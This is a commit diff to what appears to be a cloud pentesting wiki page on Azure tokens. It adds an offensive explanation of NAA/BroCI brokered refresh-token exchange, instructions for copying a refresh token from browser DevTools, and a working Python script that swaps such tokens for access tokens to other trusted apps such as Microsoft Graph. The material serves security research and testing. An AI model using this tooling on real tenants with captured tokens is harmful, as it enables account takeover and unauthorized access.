Skip to content

Commit d95f15f

Browse files
committed
f
1 parent 202d0fe commit d95f15f

File tree

1 file changed

+330
-3
lines changed

1 file changed

+330
-3
lines changed

src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md

Lines changed: 330 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -208,6 +208,334 @@ microsoft_office_bearer_tokens_for_graph_api = (
208208
pprint(microsoft_office_bearer_tokens_for_graph_api)
209209
```
210210

211+
## NAA / BroCI (Nested App Authentication / Broker Client Injection)
212+
213+
A BroCI refresh tokens is a brokered token exchange pattern where an existing refresh token is used with extra broker parameters to request tokens as another trusted first-party app.
214+
215+
These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token).
216+
217+
### Goal and purpose
218+
219+
The goal of BroCI is to reuse a valid user session from a broker-capable app chain and request tokens for another trusted app/resource pair without running a new full interactive flow each time.
220+
221+
From an offensive perspective, this matters because:
222+
223+
- It can unlock pre-consented first-party app paths that are not accessible with standard refresh exchanges.
224+
- It can return access tokens for high-value APIs (for example, Microsoft Graph) under app identities with broad delegated permissions.
225+
- It expands post-authentication token pivoting opportunities beyond classic FOCI client switching.
226+
227+
What changes in a NAA/BroCI refresh token is not the visible token format, but the **issuance context** and broker-related metadata that Microsoft validates during brokered refresh operations.
228+
229+
NAA/BroCI token exchanges are **not** the same as a regular OAuth refresh exchange.
230+
231+
- A regular refresh token (for example obtained via device code flow) is usually valid for standard `grant_type=refresh_token` operations.
232+
- A BroCI request includes additional broker context (`brk_client_id`, broker `redirect_uri`, and `origin`).
233+
- Microsoft validates whether the presented refresh token was minted in a matching brokered context.
234+
- Therefore, many "normal" refresh tokens fail in BroCI requests with errors such as `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant").
235+
- You generally cannot "convert" a normal refresh token into a BroCI-valid one in code.
236+
- You need a refresh token already issued by a compatible brokered flow.
237+
238+
### Mental model
239+
240+
Think of BroCI as:
241+
242+
`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
243+
244+
If any part of that broker chain does not match, the exchange fails.
245+
246+
### Where to find a BroCI-valid refresh token
247+
248+
In authorized testing/lab scenarios, one practical way is browser portal traffic collection:
249+
250+
1. Sign in to `https://entra.microsoft.com` (or Azure portal).
251+
2. Open DevTools -> Network.
252+
3. Filter for:
253+
- `oauth2/v2.0/token`
254+
- `management.core.windows.net`
255+
4. Identify the brokered token response and copy `refresh_token`.
256+
5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios).
257+
258+
### Common errors
259+
260+
- `AADSTS900054`: The refresh token context does not match the supplied broker tuple (`brk_client_id` / `redirect_uri` / `origin`) or the token is not from a brokered portal flow.
261+
- `AADSTS7000218`: The selected client flow expects a confidential credential (`client_secret`/assertion), often seen when trying device code with a non-public client.
262+
263+
<details>
264+
<summary>Python BroCI refresh helper (broci_auth.py)</summary>
265+
266+
```python
267+
#!/usr/bin/env python3
268+
"""
269+
Python implementation of EntraTokenAid Broci refresh flow.
270+
271+
Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
272+
- brk_client_id
273+
- redirect_uri
274+
- Origin header
275+
276+
Usage:
277+
python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"
278+
279+
How to obtain a Broci-valid refresh token (authorized testing only):
280+
1) Open https://entra.microsoft.com and sign in.
281+
2) Open browser DevTools -> Network.
282+
3) Filter requests for:
283+
- "oauth2/v2.0/token"
284+
- "management.core.windows.net"
285+
4) Locate the portal broker token response and copy the "refresh_token" value
286+
(the flow should be tied to https://management.core.windows.net//).
287+
5) Use that token with this script and Broci params:
288+
289+
python3 broci_auth.py \
290+
--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
291+
--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
292+
--tenant "organizations" \
293+
--api "graph.microsoft.com" \
294+
--scope ".default offline_access" \
295+
--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
296+
--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
297+
--origin "https://entra.microsoft.com" \
298+
--token-out
299+
"""
300+
301+
import argparse
302+
import base64
303+
import datetime as dt
304+
import json
305+
import re
306+
import sys
307+
import urllib.error
308+
import urllib.parse
309+
import urllib.request
310+
from typing import Any
311+
312+
313+
GUID_RE = re.compile(
314+
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
315+
)
316+
OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
317+
318+
319+
def resolve_api_scope_url(api: str, scope: str) -> str:
320+
"""
321+
Match Resolve-ApiScopeUrl behavior from the PowerShell module.
322+
"""
323+
if GUID_RE.match(api):
324+
base_resource = api
325+
elif api.lower().startswith("urn:") or "://" in api:
326+
base_resource = api
327+
else:
328+
base_resource = f"https://{api}"
329+
330+
base_resource = base_resource.rstrip("/")
331+
332+
resolved: list[str] = []
333+
for token in scope.split():
334+
if not token.strip():
335+
continue
336+
if "://" in token:
337+
resolved.append(token)
338+
elif token.lower().startswith("urn:"):
339+
resolved.append(token)
340+
elif token in OIDC_SCOPES:
341+
resolved.append(token)
342+
elif GUID_RE.match(token):
343+
resolved.append(f"{token}/.default")
344+
else:
345+
normalized = ".default" if token in {"default", ".default"} else token
346+
resolved.append(f"{base_resource}/{normalized}")
347+
348+
return " ".join(resolved)
349+
350+
351+
def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
352+
parts = jwt_token.split(".")
353+
if len(parts) != 3:
354+
raise ValueError("Invalid JWT format.")
355+
payload = parts[1]
356+
padding = "=" * ((4 - len(payload) % 4) % 4)
357+
decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
358+
return json.loads(decoded.decode("utf-8"))
359+
360+
361+
def refresh_broci_token(
362+
refresh_token: str,
363+
client_id: str,
364+
scope: str,
365+
api: str,
366+
tenant: str,
367+
user_agent: str,
368+
origin: str | None,
369+
brk_client_id: str | None,
370+
redirect_uri: str | None,
371+
disable_cae: bool,
372+
) -> dict[str, Any]:
373+
api_scope_url = resolve_api_scope_url(api=api, scope=scope)
374+
375+
headers = {
376+
"User-Agent": user_agent,
377+
"X-Client-Sku": "MSAL.Python",
378+
"X-Client-Ver": "1.31.0",
379+
"X-Client-Os": "win32",
380+
"Content-Type": "application/x-www-form-urlencoded",
381+
}
382+
if origin:
383+
headers["Origin"] = origin
384+
385+
body: dict[str, str] = {
386+
"grant_type": "refresh_token",
387+
"client_id": client_id,
388+
"scope": api_scope_url,
389+
"refresh_token": refresh_token,
390+
}
391+
if not disable_cae:
392+
body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
393+
if brk_client_id:
394+
body["brk_client_id"] = brk_client_id
395+
if redirect_uri:
396+
body["redirect_uri"] = redirect_uri
397+
398+
data = urllib.parse.urlencode(body).encode("utf-8")
399+
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
400+
req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
401+
402+
try:
403+
with urllib.request.urlopen(req) as resp:
404+
raw = resp.read().decode("utf-8")
405+
except urllib.error.HTTPError as e:
406+
err_raw = e.read().decode("utf-8", errors="replace")
407+
try:
408+
err_json = json.loads(err_raw)
409+
short = err_json.get("error", "unknown_error")
410+
desc = err_json.get("error_description", err_raw)
411+
raise RuntimeError(f"{short}: {desc}") from None
412+
except json.JSONDecodeError:
413+
raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
414+
415+
tokens = json.loads(raw)
416+
if "access_token" not in tokens:
417+
raise RuntimeError("Token endpoint response did not include access_token.")
418+
return tokens
419+
420+
421+
def main() -> int:
422+
parser = argparse.ArgumentParser(
423+
description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
424+
)
425+
parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
426+
parser.add_argument(
427+
"--client-id",
428+
default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
429+
help="Client ID (default: Azure CLI).",
430+
)
431+
parser.add_argument(
432+
"--scope",
433+
default=".default offline_access",
434+
help="Scopes (default: '.default offline_access').",
435+
)
436+
parser.add_argument(
437+
"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
438+
)
439+
parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
440+
parser.add_argument(
441+
"--user-agent",
442+
default="python-requests/2.32.3",
443+
help="User-Agent sent to token endpoint.",
444+
)
445+
parser.add_argument("--origin", default=None, help="Optional Origin header.")
446+
parser.add_argument(
447+
"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
448+
)
449+
parser.add_argument(
450+
"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
451+
)
452+
parser.add_argument(
453+
"--disable-cae",
454+
action="store_true",
455+
help="Disable CAE claims in token request.",
456+
)
457+
parser.add_argument(
458+
"--token-out",
459+
action="store_true",
460+
help="Print access/refresh tokens in output.",
461+
)
462+
parser.add_argument(
463+
"--disable-jwt-parsing",
464+
action="store_true",
465+
help="Do not parse JWT claims.",
466+
)
467+
468+
args = parser.parse_args()
469+
470+
print("[*] Sending request to token endpoint")
471+
try:
472+
tokens = refresh_broci_token(
473+
refresh_token=args.refresh_token,
474+
client_id=args.client_id,
475+
scope=args.scope,
476+
api=args.api,
477+
tenant=args.tenant,
478+
user_agent=args.user_agent,
479+
origin=args.origin,
480+
brk_client_id=args.brk_client_id,
481+
redirect_uri=args.redirect_uri,
482+
disable_cae=args.disable_cae,
483+
)
484+
except Exception as e:
485+
print(f"[!] Error: {e}", file=sys.stderr)
486+
return 1
487+
488+
expires_in = int(tokens.get("expires_in", 0))
489+
expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
490+
tokens["expiration_time"] = expiration_time
491+
492+
print(
493+
"[+] Got an access token and a refresh token"
494+
if tokens.get("refresh_token")
495+
else "[+] Got an access token (no refresh token requested)"
496+
)
497+
498+
if not args.disable_jwt_parsing:
499+
try:
500+
jwt_payload = parse_jwt_payload(tokens["access_token"])
501+
audience = jwt_payload.get("aud", "")
502+
print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
503+
tokens["scp"] = jwt_payload.get("scp")
504+
tokens["tenant"] = jwt_payload.get("tid")
505+
tokens["user"] = jwt_payload.get("upn")
506+
tokens["client_app"] = jwt_payload.get("app_displayname")
507+
tokens["client_app_id"] = args.client_id
508+
tokens["auth_methods"] = jwt_payload.get("amr")
509+
tokens["ip"] = jwt_payload.get("ipaddr")
510+
tokens["audience"] = audience
511+
if isinstance(audience, str):
512+
tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
513+
if "xms_cc" in jwt_payload:
514+
tokens["xms_cc"] = jwt_payload.get("xms_cc")
515+
except Exception as e:
516+
print(f"[!] JWT parse error: {e}", file=sys.stderr)
517+
return 1
518+
else:
519+
print(f"[i] Expires at: {expiration_time}")
520+
521+
if args.token_out:
522+
print("\nAccess Token:")
523+
print(tokens.get("access_token", ""))
524+
if tokens.get("refresh_token"):
525+
print("\nRefresh Token:")
526+
print(tokens["refresh_token"])
527+
528+
print("\nToken object (JSON):")
529+
print(json.dumps(tokens, indent=2))
530+
return 0
531+
532+
533+
if __name__ == "__main__":
534+
raise SystemExit(main())
535+
```
536+
537+
</details>
538+
211539
## Where to find tokens
212540

213541
From an attackers perspective it's very interesting to know where is it possible to find access and refresh tokens when for example the PC of a victim is compromised:
@@ -233,8 +561,7 @@ From an attackers perspective it's very interesting to know where is it possible
233561

234562
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
235563
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
564+
- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
565+
- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
236566

237567
{{#include ../../../banners/hacktricks-training.md}}
238-
239-
240-

0 commit comments

Comments
 (0)